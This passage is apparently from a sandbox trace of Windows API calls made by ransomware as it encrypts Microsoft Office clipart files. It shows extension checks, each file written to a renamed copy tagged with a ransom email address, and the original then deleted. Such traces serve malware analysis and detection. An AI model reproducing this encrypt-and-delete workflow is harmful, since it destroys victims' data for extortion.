	[0052.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString=".zip") returned 4
	[0052.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.904] lstrlenW (lpString=".rar") returned 4
	[0052.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString=".bz2") returned 4
	[0052.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString=".7z") returned 3
	[0052.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString=".dbf") returned 4
	[0052.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString=".1cd") returned 4
	[0052.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString=".jpg") returned 4
	[0052.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.905] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.905] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0052.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.905] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9240) returned 1
	[0052.905] CloseHandle (hObject=0x398) returned 1
	[0052.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220
	[0052.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.905] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.905] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.906] GetLastError () returned 0x0
	[0052.906] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2418, lpOverlapped=0x0) returned 1
	[0052.942] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x2420, lpOverlapped=0x0) returned 1
	[0052.943] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.943] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.943] SetEndOfFile (hFile=0x384) returned 1
	[0052.943] CloseHandle (hObject=0x384) returned 1
	[0052.944] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.944] SetEndOfFile (hFile=0x398) returned 1
	[0052.945] CloseHandle (hObject=0x398) returned 1
	[0052.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1
	[0052.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.945] lstrlenW (lpString=".doc") returned 4
	[0052.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.945] lstrlenW (lpString=".docx") returned 5
	[0052.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.945] lstrlenW (lpString=".pdf") returned 4
	[0052.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.945] lstrlenW (lpString=".xls") returned 4
	[0052.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.946] lstrlenW (lpString=".xlsx") returned 5
	[0052.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.946] lstrlenW (lpString=".ppt") returned 4
	[0052.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString=".zip") returned 4
	[0052.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.946] lstrlenW (lpString=".rar") returned 4
	[0052.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString=".bz2") returned 4
	[0052.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString=".7z") returned 3
	[0052.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString=".dbf") returned 4
	[0052.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString=".1cd") returned 4
	[0052.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString=".jpg") returned 4
	[0052.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.946] lstrlenW (lpString=".doc") returned 4
	[0052.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString=".docx") returned 5
	[0052.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.946] lstrlenW (lpString=".pdf") returned 4
	[0052.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.946] lstrlenW (lpString=".xls") returned 4
	[0052.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.946] lstrlenW (lpString=".xlsx") returned 5
	[0052.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.946] lstrlenW (lpString=".ppt") returned 4
	[0052.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.947] lstrlenW (lpString=".zip") returned 4
	[0052.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.947] lstrlenW (lpString=".rar") returned 4
	[0052.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.947] lstrlenW (lpString=".bz2") returned 4
	[0052.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.947] lstrlenW (lpString=".7z") returned 3
	[0052.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.947] lstrlenW (lpString=".dbf") returned 4
	[0052.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.947] lstrlenW (lpString=".1cd") returned 4
	[0052.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0052.947] lstrlenW (lpString=".jpg") returned 4
	[0052.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.947] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.947] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0052.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.948] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=2344) returned 1
	[0052.948] CloseHandle (hObject=0x398) returned 1
	[0052.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220
	[0052.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.949] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.949] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.949] GetLastError () returned 0x0
	[0052.949] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x928, lpOverlapped=0x0) returned 1
	[0053.017] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x930, lpOverlapped=0x0) returned 1
	[0053.018] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.018] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.018] SetEndOfFile (hFile=0x384) returned 1
	[0053.018] CloseHandle (hObject=0x384) returned 1
	[0053.030] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.030] SetEndOfFile (hFile=0x398) returned 1
	[0053.031] CloseHandle (hObject=0x398) returned 1
	[0053.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1
	[0053.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".doc") returned 4
	[0053.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString=".docx") returned 5
	[0053.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.032] lstrlenW (lpString=".pdf") returned 4
	[0053.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString=".xls") returned 4
	[0053.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.032] lstrlenW (lpString=".xlsx") returned 5
	[0053.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.032] lstrlenW (lpString=".ppt") returned 4
	[0053.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".zip") returned 4
	[0053.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.032] lstrlenW (lpString=".rar") returned 4
	[0053.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString=".bz2") returned 4
	[0053.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString=".7z") returned 3
	[0053.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".dbf") returned 4
	[0053.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".1cd") returned 4
	[0053.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".jpg") returned 4
	[0053.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.032] lstrlenW (lpString=".doc") returned 4
	[0053.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.032] lstrlenW (lpString=".docx") returned 5
	[0053.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.032] lstrlenW (lpString=".pdf") returned 4
	[0053.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString=".xls") returned 4
	[0053.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.033] lstrlenW (lpString=".xlsx") returned 5
	[0053.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.033] lstrlenW (lpString=".ppt") returned 4
	[0053.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.033] lstrlenW (lpString=".zip") returned 4
	[0053.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.033] lstrlenW (lpString=".rar") returned 4
	[0053.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString=".bz2") returned 4
	[0053.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString=".7z") returned 3
	[0053.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.033] lstrlenW (lpString=".dbf") returned 4
	[0053.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.033] lstrlenW (lpString=".1cd") returned 4
	[0053.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0053.033] lstrlenW (lpString=".jpg") returned 4
	[0053.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.033] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.033] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0053.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.034] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=6060) returned 1
	[0053.034] CloseHandle (hObject=0x398) returned 1
	[0053.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220
	[0053.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.034] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.034] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.034] GetLastError () returned 0x0
	[0053.034] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x17ac, lpOverlapped=0x0) returned 1
	[0053.105] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x17b0, lpOverlapped=0x0) returned 1
	[0053.106] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.106] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.106] SetEndOfFile (hFile=0x384) returned 1
	[0053.128] CloseHandle (hObject=0x384) returned 1
	[0053.137] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.137] SetEndOfFile (hFile=0x398) returned 1
	[0053.138] CloseHandle (hObject=0x398) returned 1
	[0053.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1
	[0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.138] lstrlenW (lpString=".doc") returned 4
	[0053.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.138] lstrlenW (lpString=".docx") returned 5
	[0053.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.139] lstrlenW (lpString=".pdf") returned 4
	[0053.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString=".xls") returned 4
	[0053.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.139] lstrlenW (lpString=".xlsx") returned 5
	[0053.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.139] lstrlenW (lpString=".ppt") returned 4
	[0053.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString=".zip") returned 4
	[0053.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.139] lstrlenW (lpString=".rar") returned 4
	[0053.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString=".bz2") returned 4
	[0053.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString=".7z") returned 3
	[0053.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString=".dbf") returned 4
	[0053.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString=".1cd") returned 4
	[0053.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString=".jpg") returned 4
	[0053.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.139] lstrlenW (lpString=".doc") returned 4
	[0053.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.139] lstrlenW (lpString=".docx") returned 5
	[0053.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.140] lstrlenW (lpString=".pdf") returned 4
	[0053.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString=".xls") returned 4
	[0053.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.140] lstrlenW (lpString=".xlsx") returned 5
	[0053.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.140] lstrlenW (lpString=".ppt") returned 4
